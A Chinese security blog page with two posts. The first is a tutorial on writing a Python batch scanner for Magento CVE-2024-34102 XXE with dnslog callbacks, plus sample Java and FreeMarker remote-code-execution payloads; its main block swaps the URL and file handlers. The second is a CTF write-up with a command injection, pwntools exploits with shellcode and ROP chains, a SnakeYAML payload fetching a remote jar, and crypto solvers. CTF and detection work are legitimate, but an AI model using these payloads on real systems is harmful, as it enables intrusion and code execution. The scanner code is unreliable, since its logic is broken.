ISHACK AI BOT 发布的所有帖子
-
快速编写一款python漏洞批量检测工具
一、前言 以下列检测脚本示列: import requests import urllib3 import re,string,random from urllib.parse import urljoin import argparse import time import ssl ssl._create_default_https_context = ssl._create_unverified_context urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def banner(): print() print(r''' ______ _______ ____ ___ ____ _ _ ____ ___ _____ __ / ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \ / _ \___ / /_ | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ __) | | | | / / '_ \ | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____/ __/| |_| |/ /| (_) | \____| \_/ |_____| |_____|\___/_____| |_| |_____|\___//_/ \___/ _____ |___ | / / / / /_/ ''') print() def read_file(file_path): with open(file_path, 'r') as file: urls = file.read().splitlines() return urls def check(url): url = url.rstrip("/") taeget_url = urljoin(url, "/rest/V1/guest-carts/1/estimate-shipping-methods") try: headers = { "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", "Content-Type": "application/json" } getdomain = requests.get(url='http://dnslog.cn/getdomain.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30) domain = str(getdomain.text) data = """{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://%s","dataIsURL":true,"options":12345678}}}}}}"""%(domain) requests.post(taeget_url, verify=False, headers=headers, data=data, timeout=25) for i in range(0, 3): refresh = requests.get(url='http://dnslog.cn/getrecords.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30) time.sleep(1) if domain in refresh.text: print(f"\033[31mDiscovered:{url}:AdobeMagento_CVE-2024-34102_XXE!\033[0m") return True except Exception as e: pass if __name__ == "__main__": banner() parser = argparse.ArgumentParser(description='AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead检测脚本') parser.add_argument("-u", "--url",type=str, help="单个URL检测") parser.add_argument("-f", "--txt",type=str, help="批量URL文件加载检测") args = parser.parse_args() if args.url: read_file(args.url) elif args.txt: check(args.txt) else: parser.print_help() 以上批量检测代码的主要功能点: 1.banner函数模块,用于展示图形化标识,以美化展示脚本 2.read_file函数模块,用于批量读取文件中的url地址 3.check函数模块,用于对漏洞进行检测,这里最好使用BP进行构造,根据响应包中的返回值进行规则匹配 4.main函数模块,主要调用以上3个函数,以及引用命令行解析器 parser 二、导入python包 可使用python PyCharm Community 错误功能检测出需要导入的包 import requests import urllib3 import re,string,random from urllib.parse import urljoin import argparse import time import ssl ssl._create_default_https_context = ssl._create_unverified_context urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) 三、函数功能模块 1.banner标识函数功能 def banner(): print() print(r''' ______ _______ ____ ___ ____ _ _ _____ _ _ _ ___ / ___\ \ / / ____| |___ \ / _ \___ \| || | |___ /| || | / |/ _ \ | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ |_ \| || |_| | | | | | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____|__) |__ _| | |_| | \____| \_/ |_____| |_____|\___/_____| |_| |____/ |_| |_|\___/ ____ |___ \ __) | / __/ |_____| ''') print() 功能:该函数打印出一个图形化的 banner 在线生成工具:http://www.network-science.de/ascii/ 或者使用pyfiglet进行本地生成,可将生成的code在python代码中进行替换 pip install pyfiglet C:\Users\test>pyfiglet CVE-2024-34102 ______ _______ ____ ___ ____ _ _ _____ _ _ _ ___ / ___\ \ / / ____| |___ \ / _ \___ \| || | |___ /| || | / |/ _ \ | | \ \ / /| _| _____ __) | | | |__) | || |_ _____ |_ \| || |_| | | | | | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____|__) |__ _| | |_| | \____| \_/ |_____| |_____|\___/_____| |_| |____/ |_| |_|\___/ ____ |___ \ __) | / __/ |_____| 2.read_file函数模块 功能:该函数读取指定文件中的每一行,并返回一个包含这些行内容(假设为URL)的列表 注意:该代码模块,可固定不变 def read_file(file_path): #定义一个名为read_file的函数,该函数接受一个参数file_path,表示文件的路径 with open(file_path, 'r') as file: #使用open函数以读取模式('r')打开指定路径的文件,并将文件对象赋值给变量file。with语句确保在代码块结束后文件会自动关闭 urls = file.read().splitlines() #读取文件的全部内容,并将其按行分割成一个列表。每行的内容作为列表的一个元素。splitlines()方法会移除每行的换行符 return urls #返回一个包含所有URL的列表 3.check函数模块 注意:这里可根据实际情况进行修改 def check(url): #定义一个名为check的函数,接受一个参数url,表示要检查的URL url = url.rstrip("/") #去掉URL末尾的斜杠(如果有的话) taeget_url = urljoin(url, "/rest/V1/guest-carts/1/estimate-shipping-methods") #使用urljoin函数将给定的URL与指定路径拼接,生成目标URL try: #尝试执行以下代码块,如果发生异常则跳到except块 headers = { "User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36", "Content-Type": "application/json" } #设置HTTP请求头,headers包含User-Agent和Content-Type,Content-Type是post请求包格式 getdomain = requests.get(url='http://dnslog.cn/getdomain.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30) #向dnslog.cn发送一个GET请求以获取一个唯一的域名,这个域名将用来检测漏洞。 domain = str(getdomain.text) #将响应内容转换为字符串并赋值给变量domain data = """{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"http://%s","dataIsURL":true,"options":12345678}}}}}}"""%(domain) #构造一个包含domain的JSON数据字符串,目的是利用该漏洞进行攻击 requests.post(taeget_url, verify=False, headers=headers, data=data, timeout=25) #向目标URL发送一个POST请求,携带构造的JSON数据 for i in range(0, 3): #循环3次检查DNS记录是否包含该域名 refresh = requests.get(url='http://dnslog.cn/getrecords.php', headers={"Cookie": "PHPSESSID=hb0p9iqh804esb5khaulm8ptp2"}, timeout=30) #向dnslog.cn发送请求以获取DNS记录 time.sleep(1) if domain in refresh.text: #果DNS记录中包含该域名,表示漏洞存在 print(f"\033[31mDiscovered:{url}:AdobeMagento_CVE-2024-34102_XXE!\033[0m") #打印发现漏洞的信息 return True #返回True表示检测到漏洞 except Exception as e: #如果在尝试执行上述代码时发生任何异常,捕获异常并忽略 pass 检测函数的主要方法: get类型 def check(url): url = url.rstrip("/") target = url+"/url路径" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36" } try: #get请求方法 response = urllib.request.Request(target, headers=headers, method="GET", unverifiable=True) res = urllib.request.urlopen(response) status_code = res.getcode() content = res.read().decode() if status_code == 200 and 'fonts' in content and 'extensions' in content: #主要的匹配漏洞的验证规则 print(f"\033[31mDiscovered:{url}: 漏洞状态描述,如(xxx存在rce漏洞)\033[0m") except Exception as e: pass post类型 def check1(url): url = url.rstrip("/") target = urljoin(url, "/url路径") headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Content-Type":"application/json;charset=UTF-8" #post数据的格式类型 } #post请求数据 data = '{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\\\"echo\\\",\\\"HelloWorldTest\\\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}' try: #POST请求方法 response = requests.post(target, verify=False, headers=headers, data = data,timeout=15) if response.status_code == 200 and 'HelloWorldTest' in response.text and 'message' in response.text and 'data' in response.text: #主要的匹配漏洞的验证规则 print(f"\033[31mDiscovered:{url}: 漏洞状态描述,如(xxx存在rce漏洞!\033[0m") return True except Exception as e: pass def check2(url): url = url.rstrip("/") target = urljoin(url, "/jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action") headers = { "User-Agent": "Mozilla/2.0 (compatible; MSIE 3.01; Windows 95", "Content-Type": "application/x-www-form-urlencoded" } data = """moduId=1&code=%253Cclob%253E%2524%257B%2522freemarker.template.utility.Execute%2522%253Fnew%2528%2529%2528%2522arp%2520-a%2522%2529%257D%253C%252Fclob%253E&uuid=1""" try: response = requests.post(target, verify=False, headers=headers, data=data, timeout=15) if response.status_code == 200 and ' Internet' in response.text and '</clob>' in response.text: #主要的匹配漏洞的验证规则 print(f"\033[31mDiscovered:{url}: 漏洞状态描述,如(xxx存在rce漏洞!\033[0m") return True except Exception as e: pass 四、主函数功能模块 功能:调用上面函数功能 该部分是脚本的入口,解析命令行参数,如果提供了--url 参数,则单个URL检测;如果提供了--txt 参数,则,对文件中的多个URL地址进行检测 if __name__ == "__main__": #调用banner函数,显示上面标识图 banner() #命令行参数解析器 parser parser = argparse.ArgumentParser(description='AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead检测脚本') parser.add_argument("-u", "--url",type=str, help="单个URL检测") parser.add_argument("-f", "--txt",type=str, help="批量URL文件加载检测") """ -u: 一个可选的字符串参数,用于指定读取单个URL -f: 一个可选的字符串参数,用于指定读取文件中的url description:脚本名称显示:AdobeColdFusion_CVE-2024-20767_ArbitraryFileRead检测脚本 """ args = parser.parse_args() #调用 parse_args() 方法解析命令行输入的参数,并将解析结果存储在 args 对象中 if args.url: read_file(args.url) #如果提供了-u 参数,调用read_file(args.url) 函数,单个URL检测。 elif args.txt: check(args.txt) #如果提供了--txt 参数,调用 check(args.txt)函数,对文件中的多个URL地址进行检测 else: parser.print_help() #如果没有提供任何参数,调用 parser.print_help() 打印帮助信息,提示用户如何使用该脚本 五、脚本运行展示效果
-
四川省熊猫杯初赛和决赛题WP
初赛web_ezcmsswagger泄露test/test测试账号登录,/sys/user/**没有做鉴权,可以添加一个超级管理员用户, 此时仍然不知道roleId。并且role模块没有未授权。继续阅读user模块,发现接口 这里存在roleid泄露,这里填入前面泄露的admin的id fcf34b56-a7a2-4719-9236-867495e74c31 GET /sys/user/roles/fcf34b56-a7a2-4719-9236-867495e74c31此时知道了超级管理员id为 11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9,添加用户 { "createWhere":0, "deptId":"1", "email":"", "password":"123456", "phone":"11111111111", "roleIds":[ "11b3b80c-4a0b-4a92-96ea-fdd4f7a4a7e9" ], "sex":"fmale", "username":"hacker" }password字段解码失败,然后用test账户查看日志发现了aes的key:AbCdEfGhIjKlMnOp,然后添加用户成功,我们添加用户之后,在模块发现了ping功能,但是有waf,绕过waf执行命令,得到flag POST /sys/ping HTTP/1.1 Host: User-Agent:Mozilla/5.0(Macintosh;IntelMac OS X 10.15; rv:126.0)Gecko/20100101Firefox/126.0 Accept: application/json, text/javascript,*/*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=UTF-8 authorization: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJmY2YzNGI1Ni1hN2EyLTQ3MTktOTIzNi04Njc0OTVlNzRjMzEiLCJqd3Qtcm9sZXMta2V5XyI6WyLotoXnuqfnrqHnkIblkZgiXSwiaXNzIjoieWluZ3h1ZS5jb20iLCJqd3QtcGVybWlzc2lvbnMta2V5IjpbInN5czp1c2VyOmxpc3QiLCJzeXM6ZGVwdDp1cGRhdGUiLCJzeXM6ZGVwdDpkZXRhaWwiLCJzeXM6dXNlcjpyb2xlOnVwZGF0ZSIsInN5czpwZXJtaXNzaW9uOmFkZCIsInN5czp1c2VyOmFkZCIsInN5czp1c2VyOmRlbGV0ZWQiLCJzeXM6cGVybWlzc2lvbjp1cGRhdGUiLCJzeXM6dXNlcjpkZXRhaWwiLCJzeXM6ZGVwdDpkZWxldGVkIiwic3lzOnJvbGU6dXBkYXRlIiwic3lzOnJvbGU6ZGV0YWlsIiwic3lzOmRlcHQ6bGlzdCIsInN5czpkZXB0OmFkZCIsInN5czp1c2VyOnVwZGF0ZSIsInN5czpyb2xlOmxpc3QiLCJzeXM6cm9sZTpkZWxldGVkIiwic3lzOnBlcm1pc3Npb246bGlzdCIsInN5czpwZXJtaXNzaW9uOmRldGFpbCIsInN5czpwZXJtaXNzaW9uOmRlbGV0ZWQiLCJzeXM6bG9nOmRlbGV0ZWQiLCJzeXM6dXNlcjpyb2xlOmRldGFpbCIsInN5czpyb2xlOmFkZCIsInN5czpsb2c6bGlzdCJdLCJqd3QtdXNlci1uYW1lLWtleSI6ImFkbWluIiwiZXhwIjoxNzE2NzE3MjIwLCJpYXQiOjE3MTY3MTAwMjB9.9wcw8M2Ky0lFTbD2B7YaAmPKTl_EO0kJCB5J3bw8FkA X-Requested-With: XMLHttpRequest Content-Length: 28 Origin: DNT: 1 Sec-GPC: 1 Connection: close Referer: Cookie: JSESSIONID=C701D746DA63E8FB94270AD6D2FD9ADB Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Priority: u=1 {"ip":"10.10.10.10-1 || cat /flag"}绝密文件-代号Pimport cv2 import numpy as np s=179093209181929149953346613617854206675976823277412565868079070299728290913658 fromCrypto.Util.number import* # p,q=(241627603783727624224706687817893681267, # 347432454257893250496407965506777649463) # # assert p**2+q**2==s # # print(isPrime(p),isPrime(q)) # Img_path = "flag_enc.png" # Img = cv2.imread(Img_path) # print(Img.shape) from sympy.solvers.diophantine.diophantine import cornacchia ''' 这个地方需要改一下,把s的分解弄出来,直接factordb就可以了 f={7247215681561944590028089613581484765881: 1,157606014243244438240601: 1,5801674693: 1,2: 1,13513: 1} ''' x1=cornacchia(1,1,s) for a, b in x1: assert a**2+b**2==s if isPrime(a)and isPrime(b): print(a,b) # 这里得到了p和q fromCrypto.Util.number import* p,q=302951519846417861008714825074296492447,295488723650623654106370451762393175957 s=179093209181929149953346613617854206675976823277412565868079070299728290913658 assert isPrime(p)and isPrime(q)and p**2+q**2==s import cv2 path1="flag_enc.png" img=cv2.imread(path1) # print(img.shape) r,c,d = img.shape print(r,c) # i,j=101,201 from tqdm import tqdm a,b=p,q for i in tqdm(range(r)): for j inrange(c): set1 =set() set1.add((i, j)) i1,j1=i,j whileTrue: x =(i1 + b * j1)% r y =((a * i1)+(a * b +1)* j1)% c i1,j1=x,y if(x,y)notin set1: set1.add((x,y)) else: if i==0and j==0: continue assertlen(set1)==190# 都是默认190 # 这里我们发现里面都是190,很巧合,后面直接开始去摸即可 # s1=s%190 # print(s1) # import numpy as np # def arnold(img,shuffle_times,a,b): # r,c,d = img.shape # p = np.zeros(img.shape,np.uint8) # print(r,c,d,shuffle_times) # for s in range(shuffle_times): # for i in range(r): # for j in range(c): # x = (i+b*j)%r # y = ((a*i)+(a*b+1)*j)%c # p[x,y,:] = img[i,j,:] # img = np.copy(p) # return p # x1=arnold(img,11,p,q) # cv2.imwrite("flag3.png",x1) # # cv2.imwrite("flag1.png",img) # c =179093209181929149953346613617854206675976823277412565868079070299728290913658 p,q=302951519846417861008714825074296492447,295488723650623654106370451762393175957 import cv2 import numpy as np defarnold(img,shuffle_times,a,b): r,c,d = img.shape p = np.zeros(img.shape,np.uint8) print(r,c,d,shuffle_times) for s inrange(shuffle_times): for i inrange(r): for j inrange(c): x =(i+b*j)%r y =((a*i)+(a*b+1)*j)%c p[x,y,:]= img[i,j,:] img = np.copy(p) return p img=cv2.imread("flag_enc.png") # print(img) c1=c%190 for i inrange(190): img=arnold(img,1,p,q) cv2.imwrite(f"flag{i+1}.png",img) ''' 1.直接暴力枚举一下就行,反正周期是190,全部枚举一遍出来即可,发现i=66的时候,flag67.png里面就是flag 2.flag{Ailuropoda_rnelanoleuca} '''坚持做正确的事从流量包取出来的数据是一个图片的16进制 查看他的16进制,发现他的末尾有一段附加数据 是vim画图指令,直接安装DrawIt,输入指令画图就行 GAME直接玩游戏通关得到flag 这是真签到 FunIoT给了一套docker文件,运行了一个二进制文件在上面,直接打开逆向,然后动态调试和静态分析结合,分析协议格式,最后利用其中的一个读文件的功能,利用//绕过比较检测: 然后读取flag: from pwn import* import zlib # p = remote("127.0.0.1", 6768) p = remote("173.34.20.10",6768) header =b'FunIoT'# 6 cmd =0x102 cmd_encode =int(cmd).to_bytes(2,"big") len=0x0101 length =int(len).to_bytes(2,"big") # content = b'getInfo: shadow' # content = b'getInfo: /lib/udev/rc_keymaps/asus_pc39.toml' content =b'getInfo: //flag' content = content.ljust(0x101,b'\x00') check_sum =int(zlib.crc32(content)).to_bytes(4,"big") full_content = header + length + cmd_encode + check_sum + content # packet: # header: 6 bytes # length: 2 bytes # cmd: 2 bytes # checksum: 4 bytes # content: unknow context.log_level ='debug' p.send(full_content) # p.interactive() import base64 print(base64.b64decode(p.recv()).decode("utf-8")) # command: getInfo, setInfo, secretguess_hack题目要求输入一个最大值和一个最小值,然后猜测这个范围的随机数,猜对了会进入一个栈溢出,溢出字符数量是猜错的次数,所以可以输入两个相邻数字,然后猜错足够次数,再进行常规栈溢出利用,因为开了栈可执行,加上会检测要求payload非空,所以我直接写了shellcode,进行了一点异或绕过非空检测: # random % (max - min + 1) + min from pwn import* context.log_level ='debug' # p = process("./main") p = remote("173.34.20.233",9999) p.sendlineafter(b"ch:",b"1") p.sendlineafter(b"Enter a minimum and maximum number for the guessing game:",b"1 2") for i inrange(99): p.sendlineafter(b"Guess a number",b"1") p.sendlineafter(b"Guess a number between",b"2") payload =b'a'*0x3c payload += p32(0x0805dea9) payload += asm("""push 0xfffffff4 pop eax push 0xffffffff pop ebx xor eax, ebx push 0xff978cd0 pop ecx xor ecx, ebx push ecx push 0x6e69622f mov ebx, esp xor ecx, ecx int 0x80""") payload = payload.ljust(99,b'a') pause() p.sendlineafter(b"Congratulations!", payload) p.interactive()msg典中典之栈溢出+格式化字符串漏洞,利用格式化字符串漏洞泄露到canary和libc,然后溢出返回地址为one gadget: from pwn import* # p = process("./main") p = remote("173.34.20.68",9999) p.sendlineafter(b"message:",b"%11$p") canary =int(p.recv(18),16) success(f"canary: {hex(canary)}") p.sendlineafter(b"message:",b"%3$p") libc =int(p.recv(14),16)-0x10e1f2 success(f"libc: {hex(libc)}") one = libc +0xe3b01 p.sendlineafter(b"message:",b'a'*0x28+ p64(canary)+b'b'*8+ p64(one)) pause() p.sendlineafter(b"message:",b'\x00'*0x10) p.interactive()stackover也是经典栈溢出,只不过远程libc跟本地有点不太一样,加上返回地址是通过lea esp, [ecx-4], ret来返回,导致一直没法利用成功,但是经过控制程序到各种输出的地方,确定栈环境基本一样,所以最后尝试不依赖libc来利用的: from pwn import* # context.log_level = 'debug' # p = process("./stackover") p = remote(b"173.34.20.46",9999) p.sendafter(b"read:",b'a'*0x29b) p.recvuntil(b'a'*0x29b) canary = u32(b'\x00'+ p.recv(3)) success(f"canary: {hex(canary)}") # pause() p.sendafter(b"read:",b'a'*(0x29b+7+8+0x2c-0x30-4)) p.recvuntil(b'a'*(0x29b+7+8+0x2c-0x30-4)) p.recv(4) p.recv(4) stack = u32(p.recv(4)) success(f"stack: {hex(stack)}") # pause() p.sendafter(b"read:",b'b'*(0x29b+0x18+7)) p.recvuntil(b'b'*(0x29b+0x18+7)) libc = u32(p.recv(4))-0x1aed5 success(f"libc: {hex(libc)}") # pause() p.sendafter(b"read:",b'a'*(0x29b+7+8+0x2c+0x54)) p.recvuntil(b'a'*(0x29b+7+8+0x2c+0x54)) elf_base = u32(p.recv(4))-0x3fb8 success(f"elf_base: {hex(elf_base)}") payload =b'c'*(0x29a-0x14-8) # execve 0xc9510 # system 0x41780 # puts 0x6dc40 # payload += p32(libc + 0x6dc40) # payload += p32(elf_base + 0x1130) payload +=b'/bin/sh\x00' payload += p32(elf_base +0x128e) # payload += p32(elf_base + 0x3fcc) # payload += p32(0) payload += p32(stack -0x50) payload += p32(0) # payload += p32(libc + 0x18e363) # payload += p32(libc + 0x18e363) payload += p32(0) payload += p32(0) payload += p32(canary) payload += p32(0)*3 payload += p32(stack -0x44) payload += p32(elf_base +0x3fb8) payload +=b'/bin/sh\x00' pause() context.log_level ='debug' p.sendafter(b"read:", payload) p.interactive()stackover-revenge提供255以内的加减法功能,一开始没看到漏洞,后来发现在程序正常流程下面加了一点后门代码: IDA按了F5是看不到这里的,另一个地方的后门代码可以完成上面代码的触发条件: 所以利用整数溢出,输入一个大于0x7e8的数字就可以达成后门条件: from pwn import * p = process("./main") p.sendlineafter(b"How many times do you want to count?", str(0xffffffff)) p.sendlineafter(b"option:", b"4") p.sendlineafter(b"option:", b"1") p.sendlineafter(b"++++++++++++++ input size of number:", b"1") p.sendlineafter(b"num[0]:", b"1") p.interactive()决赛myerm访问发现是个登录框,用test/test登录,发现有jwt,猜测伪造 所以猜测想利用 JWT 伪造,登陆 admin 用户的话,需要找到一个已经登陆的 SESSION 会话。对题目进行信息收集之后,发现存在 druid 未授权,利用弱口令 admin/123456 进行登录。 伪造session还需要key,我们在doc.html看到存在邮箱功能: 但是无法直接查看邮件,最后用test用户遍历了邮件id,使用api/mail/mailDetail?id=x查看邮件详情,然后在收件箱找到一个测试邮件,在里面发现了key 接着伪造session,然后发现后他是若依,目标明确打snakeyaml定时任务,限制长度120 org.yaml.snakeyaml.Yaml.load ('!!javax.script.ScriptEngineManager[!!java.net.URLClassLoader[[!!java.net.URL["http://1.1.1.1:8888/1.jar"]]]]')otto把数据拿下来了的rsa,flag分成了两块分别加密 首先看第二部分,数学关系为 m2[i]=(v2−x2[i])e2+msg2[i]modn2 i有两个式子,除了msg2均为已知量,且msg2的两个关系式存在等式关系,直接在环上做gcd即可 def polygcd(f1,f2): while f2: f1,f2 = f2,f1 % f2 return f1.monic() PR.<x>=PolynomialRing(Zmod(n2)) msg2 =[x,c[0]* x + c[1]] f1 =(m2[0]- msg2[0])** e2 -(v2 - x2[0]) f2 =(m2[1]- msg2[1])** e2 -(v2 - x2[1]) flag2 =-polygcd(f1,f2)[0] print(long_to_bytes(int(flag2)))第二部分观察到msg1的数据没有经过pad,转成大数只有168位,但是没有给出v1,观察代码发现v1存在关系式 self.b = randint(0, 1) self.k1 = randint(1, self.n1) v = (pow(self.k1, self.e1, self.n1) + self.x1[self.b]) % self.n1 self.client.send(str(v).encode())b有0和1两种选择,通过b可以把两个式子连接起来,打二元cop出msg即可,二元cop的参数要调大一点 PR.<x,y>=PolynomialRing(Zmod(n1)) msg1 =[x,y] # k1 = m1[0] - msg1[0] # f = (m1[1] - msg1[1]) ** e1 - (k1 ** e1 + x1[0] - x1[1]) k1 = m1[1]- msg1[1] f =(m1[0]- msg1[0])** e1 -(k1 ** e1 + x1[1]- x1[0]) # print(f) bounds =(2**168,2**168) root = small_roots(f,bounds,m=6,d=4) print(root)完整exp为 from Crypto.Util.number import* import itertools defsmall_roots(f, bounds, m=1, d=None): ifnot d: d = f.degree() R = f.base_ring() N = R.cardinality() f /= f.coefficients().pop(0) f = f.change_ring(ZZ) G =Sequence([], f.parent()) for i inrange(m +1): base = N ^(m - i)* f ^ i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g) B, monomials = G.coefficient_matrix() monomials = vector(monomials) factors =[monomial(*bounds)for monomial in monomials] for i, factor inenumerate(factors): B.rescale_col(i, factor) B = B.dense_matrix().LLL() B = B.change_ring(QQ) for i, factor inenumerate(factors): B.rescale_col(i,1/ factor) H =Sequence([], f.parent().change_ring(QQ)) for h infilter(None, B * monomials): H.append(h) I = H.ideal() if I.dimension()==-1: H.pop() elif I.dimension()==0: roots =[] for root in I.variety(ring=ZZ): root =tuple(R(root[var])for var in f.variables()) roots.append(root) return roots return[] defpolygcd(f1,f2): while f2: f1,f2 = f2,f1 % f2 return f1.monic() c =[2022192084163865871637311910190343009806372281260940433264866710576717827000158190013454140869282023553794168299850642713592857046603901804667940047118351375526819434245929363285575321841139031828203969945166801239181091856967945653548638281912992865859782543006093627628764190870048182733564610346559175554351590756572067638680287831888951790549721647896128434643949839982021154615115260457999786151004733151130820602433196485192091297036565179140159868992152310647228915941684271200707824836388347153359567736106504118830380335535571497974547855922884383469780130087191722420344937756494122346487016566419242463836,12061552506303089886042745624408653176981782225020423963019198845243742139258023869466665561793608045001319021047887667664174994585869340313951796548176269089114160706384746387983277073112591591489643976442622321188641202129622786824693293150098394659731881683945896467114040450861544761586718952331369001004695294268894235852363740831011251046468659589566501557902013744612394168830044111638387497950139803719642714677584615407052702028855832555056064595619857064644590245323361565888668910950428292688990851782269368022834514035734196544300120061524133712573144079293439936276463509498262847888571155492592609260783] v2 =9556276713294185634675025767802869929252472183681399946558259127635089951399817649411122499036657904914953334191629273438214371861747375930220930123236040473592720606113932507502872050616210539047321307830911690987874269273684519795136175561107095807358688729096068293698083610276557300656827563421114987688852668095314933405088107467416611145574761738655696672560862813137945205091832198111391817949039251665825121659323773270436391580589841573178391221735428798318886660824941824216932260996644044749424023313841093829840154123672637916095508058599701154434489213872161152359221137791753598589303710126033417598315 n1 =11271769636481167201792947869036553992227573210518633030219178803383349111691460202925344961485630519396298556298353185729133425424986251013234507574460564567554706523170816213012134101324728485027759939177868268886490620475377111559309854971172536072912492915397424686135393068344370029572892256194814415101890916563130328570803042252136741183269883671849873603956230726294410435185435014274882048506167456427852608126478349488290872256072029149848433197043410728314084380999316723835302043375017580973032065204288589969252813061043853493941665391349852606781487173854475699462142399025313772992266906492948457481343 e1 =3 x1 =[9515572144467353102693379312418710955214891592376652277288115734279056734333735433842688458064791727513305863861235023479729328042101083071837571497065148511710639753106684253478831875505030519724899081680516833763198547371577091213443181418357026416055217075672599840276222008249647801652670192401687584389238718466389175705227396073077728212161850918020236614953688339567726286493333833192267092340593829218909756169268170625006694216875605112065267454732423903631737275763224769800017009573049312062340144144829220945642953262132895898315831950065807615456546917913668105293794016444579372988387899070119905188852,1892034120103884655057748481218744968570886603116770464293986717297275954889143292301699430583870055377213531296557183365836328935582605537911332825510113738818872104690943672685087209698335996263632901023795785958711815234874952640699783061740546868363055353091127902362863942669248423826595254894726944833887263833323809149528895833061490548685459108186763244472560195193139974039077951072951624681272257192017679341819986081273918682657482308353776379587845617737285532310255049963865808295659252810449272607145518278622472711380742500844288926728181235765064078778435360592122889548497811844849141090787687431691] m1 =[6016241168918008003676308976207100363787886056310414524692817266526816044605861589333265680725516797725157476881964627121341856194031952078224223712707203444145810288009516867166444302906259425595314875099543375758202468607877956110531218864874778701312073626804583736300557519077867674205675297659120854857631861820501341218694648899186245660067972817620811237063040820817563464199716096063261214384822141532599155146824331413684812783001628935032487957306346174008702256595545954862755182240217576044236510482955069793116079796093428542806091985359518377611477601123779397291583947727903087310885258578166713562127,5440147501940638137024850606017297210337534677408842136379920848781712980462447118877171733606863014259702536891618925774163741294802932568915293766589177284295703266970860357526016987325665154313719066965567249222221131682926705272951530070261409867083615183965724021333853123572753014882129436586571389423155293377948368049140838120533008304139511510566634163176216591511566937364023875888461854372432939610104040445984493844672803393249479769170488441311099318570005369329133726459281759202562040178972797271360551614266347925035798206639977703364862505440147494902280456168540628714355582075950777307761924432387] n2 =13734553138242318628382054742480981343446984988191688662254986243627157625179176065241156011696302206618179554684039418464583144145503176708791330560172722535768542184698066880611009153616062090684034664602606266851696293869899452519578725665110985148196543998607394795861120331954638386927099371326884429866634685812799207305104476545524154915042406729289612658166510017492482175075872284724725422863660604254919264739710275468027278899773185461791413509280443599747367129337405961244474327733607586747648790915994322826728272773783653766560606552040854271186948727715576352830926898026093434984246855183310757045761 e2 =97 x2 =[13177195145643985162369622498401365177499138154538273683105144116544719466309962486453254331776465984111024384000978936709809981151700299715082451736814113126287335911167543580326081550513657585920705158990979388476560541554360224739435428369017964910714020825020400206978492083575209281469099197416561057829071411270433371623496230236473419547584375357556353533487865301248950946032111351087126169856720042454654832226420081909659506864195491980123873801598391036249027256808516343923925600130215162930220263798094559698140483803320057081107578634042891033997459769087238265628113428210401614417877839230901721993190,6087668416419425621015217192937881819030086776814461931461321271071632965704332777171900656493718038405650018773284906392054768417180630397123329675678721202895156479498192567976488835849134098984496538043518882047967632186092698690848611693438041802874429890978003588117644629011459601875026269618173841010295947617126507755463408314735056141532883079433786701501106150571651039383128288126543960497006195953471865106598447153220760899089004772873548377773392286170683824466138705674297182685522941020265251198373775479428578340308681511331066572161101438312245374528237712280314548370382811282427949209246902963620] m2 =[11290088192896104506026832060270527943714366880404242912266063784753126354203886059118599709669598729492075209588587167909865752372998401224088902550832115846922950445881033989219174580290127597931540821558287876108098891608071532321402919702498057050600028620041146727752759548708970938132742356572135342729734097482396575542041618189798845322991442136889598236510334924501541556553680371235401907549785446331539870340463389985682807901483008146184213709636864164058105540385607059315722869586747109233390594619151596441257862747687967610987191500891685999700118692739878206205390683771336361205725982750841624412918,13297923293604079904865691526854689771243166342933215235463378384491550135554561777664960232137603383114093048818781509117309259419714741409995439792770006827393488190799203124259891829424051546917028377316926517036925667257317044743094940629506839160375855343993956627134396913916798323848609907197075057202723651440732344941034655107043117917579554777531225809712600877171322938484588653102197119270286456014097076345973054360242768465566465700893203405936053400775455573738231554838583225080952941328332237618198730448032110880353626965942852413612822837453591096974975301303294918593974328897924663396162439300901] PR.<x>=PolynomialRing(Zmod(n2)) msg2 =[x,c[0]* x + c[1]] f1 =(m2[0]- msg2[0])** e2 -(v2 - x2[0]) f2 =(m2[1]- msg2[1])** e2 -(v2 - x2[1]) flag2 =-polygcd(f1,f2)[0] # print(long_to_bytes(int(flag2))) print(flag2) PR.<x,y>=PolynomialRing(Zmod(n1)) msg1 =[x,y] # k1 = m1[0] - msg1[0] # f = (m1[1] - msg1[1]) ** e1 - (k1 ** e1 + x1[0] - x1[1]) k1 = m1[1]- msg1[1] f =(m1[0]- msg1[0])** 